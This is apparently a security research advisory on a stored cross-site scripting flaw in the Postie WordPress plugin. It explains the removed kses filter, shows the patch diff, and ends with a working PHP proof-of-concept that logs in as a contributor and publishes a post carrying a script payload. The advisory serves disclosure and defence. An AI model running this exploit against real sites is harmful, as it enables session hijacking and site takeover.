Atomic Edge analysis of CVE-2025-63020:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Postie WordPress plugin. The vulnerability affects versions up to and including 1.9.73. It allows attackers with contributor-level access or higher to inject arbitrary JavaScript into posts, which executes when a user views the compromised page. The CVSS score of 6.4 reflects a medium severity rating.
The root cause is insufficient input sanitization and output escaping on user-supplied data processed by the plugin. The code diff shows a critical change in the file `postie/postie.php`. In the vulnerable version, the function `remove_filter(‘content_save_pre’, ‘wp_filter_post_kses’);` was called within the plugin’s initialization or processing logic. This action disabled WordPress’s built-in kses (KSES is an HTML filtering library) sanitization for post content during the save operation. By removing this security filter, the plugin allowed raw, unsanitized HTML and script tags to be saved directly to the database.
Exploitation requires an authenticated attacker with at least contributor privileges. The attacker would submit a crafted post containing a malicious script payload via the standard WordPress post creation or editing interface. Because the `wp_filter_post_kses` filter is disabled by the plugin, the payload bypasses WordPress’s standard HTML tag stripping and attribute sanitization. The payload is then stored in the database. When any user, including an administrator, views the published post, the embedded script executes in the victim’s browser context.
The patch, implemented in version 1.9.74, removes the line `remove_filter(‘content_save_pre’, ‘wp_filter_post_kses’);` from the `postie.php` file. This change restores WordPress’s default kses filtering for all content saved through the plugin. The before behavior allowed unsanitized HTML input. The after behavior ensures all post content passes through the standard `wp_filter_post_kses` function, which strips dangerous HTML tags and attributes before database storage.
Successful exploitation leads to stored cross-site scripting. An attacker can perform actions within the victim’s WordPress session, such as creating new administrator accounts, modifying posts, injecting backdoors, or stealing session cookies. This can result in a complete site compromise. The impact is elevated because the vulnerability is stored and executes for any user viewing the infected page, not just the attacker.
--- a/postie/config_form_server.php
+++ b/postie/config_form_server.php
@@ -24,7 +24,11 @@
<option value="pop3-ssl" <?php echo ($input_protocol == "pop3-ssl") ? "selected='selected' " : "" ?>>POP3-SSL</option>
<option value="imap-ssl" <?php echo ($input_protocol == "imap-ssl") ? "selected='selected' " : "" ?>>IMAP-SSL</option>
</select>
-
+ <p class='description'><?php
+ if (!extension_loaded('openssl')) {
+ _e("OpenSSL has not been enabled. POP3-SSL and IMAP-SSL will not work as expected.", 'postie');
+ }
+ ?></p>
</td>
</tr>
--- a/postie/lib/pSocketConnection.php
+++ b/postie/lib/pSocketConnection.php
@@ -43,9 +43,10 @@
stream_set_timeout($this->socket, $this->timeout);
+ $openSsl = extension_loaded('openssl');
if ($this->type == 'imap') {
DebugEcho("Socket: IMAP");
- if ($this->secure && extension_loaded('openssl')) {
+ if ($this->secure && $openSsl) {
$response = $this->write('CAPABILITY');
if (preg_match('#bstarttlsb#i', $response[0])) {
$this->write('STARTTLS');
@@ -56,7 +57,15 @@
$res = stream_socket_enable_crypto($this->socket, TRUE, STREAM_CRYPTO_METHOD_TLS_CLIENT);
} while ($res === 0);
}
+ } else {
+ if (!$openSsl) {
+ DebugEcho("Socket: OpenSSL not enabled");
+ }
+ if ($this->secure) {
+ DebugEcho("Socket: IMAP-SSL was not selected");
+ }
}
+
$response = $this->write('LOGIN ' . $this->username . ' "' . $this->password . '"');
if (!$response || !preg_match('#^[^ ]+s+OK#', $response[count($response) - 1])) {
throw new fValidationException('IMAP - Could not connect to %1$s server %2$s on port %3$s. %4$s', strtoupper($this->type), $this->host, $this->port, print_r($response, true));
@@ -72,7 +81,7 @@
preg_match('#<[^@]+@[^>]+>#', $response[0], $match);
}
- if ($this->secure && extension_loaded('openssl')) {
+ if ($this->secure && $openSsl) {
DebugEcho("Socket: attempting a secure connection");
$response = $this->write('STLS', 1);
if ($response[0][0] == '+') {
@@ -92,6 +101,13 @@
throw new fConnectivityException('Error establishing secure connection');
}
}
+ } else {
+ if (!$openSsl) {
+ DebugEcho("Socket: OpenSSL not enabled");
+ }
+ if ($this->secure) {
+ DebugEcho("Socket: POP-SSL was not selected");
+ }
}
$authenticated = FALSE;
@@ -245,5 +261,4 @@
public function isPersistant() {
return true;
}
-
}
--- a/postie/postie.php
+++ b/postie/postie.php
@@ -4,7 +4,7 @@
Plugin Name: Postie
Plugin URI: http://PostiePlugin.com/
Description: Create posts via email. Significantly upgrades the Post by Email features of WordPress.
- Version: 1.9.73
+ Version: 1.9.74
Author: Wayne Allen
Author URI: http://PostiePlugin.com/
License: GPL3
@@ -28,7 +28,7 @@
*/
/*
- $Id: postie.php 3358922 2025-09-10 02:56:45Z WayneAllen $
+ $Id: postie.php 3434079 2026-01-07 06:15:40Z WayneAllen $
*/
if (!defined('WPINC')) {
@@ -204,8 +204,6 @@
} else {
require_once( ABSPATH . WPINC . '/class-wp-oembed.php' );
}
-
- remove_filter('content_save_pre', 'wp_filter_post_kses');
}
function enable_post_by_email_configuration($enabled) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-63020 - Postie <= 1.9.73 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/post-new.php';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload to create a post with malicious script.
// This script will alert the document domain when the post is viewed.
$post_title = 'XSS Test Post';
$post_content = '<script>alert(document.domain);</script>This post contains a stored XSS payload.';
// Initialize cURL session for login to get authentication cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies to file.
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check if login was successful by looking for a redirect or dashboard elements.
if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Now, create a new post with the XSS payload.
// We need to fetch the nonce from the post creation page.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 0);
$post_page = curl_exec($ch);
// Extract the nonce for the post submission. Look for the '_wpnonce' field.
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_page, $nonce_matches);
if (empty($nonce_matches[1])) {
die('Could not extract nonce from post page.');
}
$nonce = $nonce_matches[1];
// Prepare POST data for the new post.
$post_data = array(
'post_title' => $post_title,
'content' => $post_content,
'publish' => 'Publish',
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post-new.php',
'post_type' => 'post',
'post_status' => 'publish'
);
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_result = curl_exec($ch);
// Check for success.
if (strpos($post_result, 'Post published.') !== false || strpos($post_result, 'Post updated.') !== false) {
echo 'Stored XSS payload successfully published. Visit the post to trigger execution.n';
// Attempt to extract the post URL from the response.
if (preg_match('/<a href="([^"]+)"[^>]*>View post/', $post_result, $url_matches)) {
echo 'Post URL: ' . $url_matches[1] . 'n';
}
} else {
echo 'Post submission may have failed.n';
}
curl_close($ch);
?>
